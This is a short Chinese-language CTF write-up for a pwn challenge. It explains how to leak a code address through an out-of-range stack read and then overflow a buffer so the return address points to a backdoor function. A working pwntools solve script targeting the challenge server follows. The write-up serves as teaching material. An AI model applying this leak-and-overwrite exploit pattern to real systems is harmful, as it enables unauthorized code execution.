---
# System prepended metadata

title: '[CH] Exploit Me 0'
tags: [Chinese, Pwn, Writeup]

---

> [name=Curious]

## 思路和解法
先把 `chal` 丟進 IDA 看看

![](https://hackmd.io/_uploads/ryg_926sn.png)

可以發現 `chal` 會讓我們讀出 stack 上任意的 8 個 bytes 然後 BOF。接著 `chal` 還有一個函數

![](https://hackmd.io/_uploads/ByE8shTj2.png)

因為 `chal` 有開 PIE，所以我們可以利用 stack 上的任意讀來讀出殘留的 address（以 codebase 為 base 的 address）來算出 codebase，接著 BOF 把 return address 放到 backdoor 就結束了。

用 `gdb` 看一下相關的 asm 和 stack

![](https://hackmd.io/_uploads/SygG636i3.png)

![](https://hackmd.io/_uploads/BkxVTnTi3.png)

可以我們需要輸入 `-5` 還拿到 `main` 的 address，接著就是算出 offset 然後 return 到 `backdoor` 了。

Solve Script : 
```python=
from pwn import *

# r = process('./chal')
r = remote('lotuxctf.com', 10006)

r.sendlineafter(b'> ', b'-5')

codebase = int(r.recvline().strip()) - 0x0011e8
info(f'codebase : {hex(codebase)}')

backdoor = codebase + 0x0011ce
r.sendlineafter(b'> ', b'a' * 0x28 + p64(backdoor))

r.interactive()
```

{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
